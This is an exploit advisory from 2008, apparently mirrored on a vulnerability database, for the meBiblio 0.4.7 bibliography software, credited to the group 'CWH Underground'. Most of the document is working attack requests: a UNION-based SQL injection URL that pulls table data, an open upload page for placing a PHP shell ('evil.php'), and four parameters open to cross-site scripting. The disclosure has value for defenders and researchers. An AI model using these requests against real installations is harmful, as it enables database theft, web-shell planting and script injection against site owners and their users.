meBiblio 0.4.7 (SQL/Upload/XSS) Multiple Remote Vulnerabilities

🗓️ 02 Jun 2008 00:00:00Reported by RootType
meBiblio 0.4.7 remote vulnerabilities in SQL injection, arbitrary file upload, and XS

                                                ========================================================================================
&nbsp;meBiblio&nbsp;0.4.7&nbsp;Remote&nbsp;SQL&nbsp;Injection/&nbsp;Arbitrary&nbsp;File&nbsp;Upload&nbsp;Exploit&nbsp;/&nbsp;XSS&nbsp;Vulnerability
========================================================================================

&nbsp;&nbsp;,--^----------,--------,-----,-------^--,
&nbsp;&nbsp;|&nbsp;|||||||||&nbsp;&nbsp;&nbsp;`--------'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;O	..&nbsp;CWH&nbsp;Underground&nbsp;Hacking&nbsp;Team&nbsp;..
&nbsp;&nbsp;`+---------------------------^----------|
&nbsp;&nbsp;&nbsp;&nbsp;`\_,-------,&nbsp;_________________________|
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/`|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/&nbsp;&nbsp;`\&nbsp;&nbsp;&nbsp;/
&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/\______(
&nbsp;&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/
&nbsp;(________(&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;`------'

AUTHOR&nbsp;:&nbsp;CWH&nbsp;Underground
DATE&nbsp;&nbsp;&nbsp;:&nbsp;1&nbsp;June&nbsp;2008
SITE&nbsp;&nbsp;&nbsp;:&nbsp;www.citec.us


#####################################################
&nbsp;APPLICATION&nbsp;:&nbsp;meBiblio
&nbsp;VERSION&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;0.4.7&nbsp;(Lastest&nbsp;Version)
&nbsp;VENDOR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://mebiblio.sourceforge.net/&nbsp;
&nbsp;DOWNLOAD&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://downloads.sourceforge.net/mebiblio
#####################################################

---SQL&nbsp;Injection&nbsp;Exploit---

http://[target]/[path]/admin/journal_change_mask.inc.php?JID=1%20union%20select%201,PACS_description,1,1%20FROM%20pacs%20where%20PACS_ID=2

**&nbsp;You&nbsp;will&nbsp;found&nbsp;PACS_description&nbsp;in&nbsp;Journal&nbsp;Long&nbsp;Name's&nbsp;Box&nbsp;**


---Arbitrary&nbsp;File&nbsp;Upload&nbsp;Exploit---

[Files&nbsp;Directory&nbsp;must&nbsp;existed]

Upload&nbsp;Path:&nbsp;http://[target]/[path]/upload/uploader.html

Shell&nbsp;Script:&nbsp;http://[target]/[path]/files/evil.php


---Multiple&nbsp;Remote&nbsp;XSS&nbsp;Exploit---

[+]dbadd.inc.php
[+]add_journal_mask.inc.php
[+]insert_mask.inc.php
[+]search_mask.inc.php

Example:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
http://[target]/[path]/dbadd.inc.php?sql=&lt;XSS&gt;
http://[target]/[path]/add_journal_mask.inc.php?InsertJournal=&lt;XSS&gt;
http://[target]/[path]/insert_mask.inc.php?InsertBibliography=&lt;XSS&gt;
http://[target]/[path]/search_mask.inc.php?LabelYear=&lt;XSS&gt;


##################################################################
#&nbsp;Greetz:&nbsp;ZeQ3uL,&nbsp;BAD&nbsp;$ectors,&nbsp;Snapter,&nbsp;Conan,&nbsp;JabAv0C,&nbsp;Win7dos&nbsp;&nbsp;#
##################################################################
02 Jun 2008 00:00Current
7.1High risk
Vulners AI Score7.1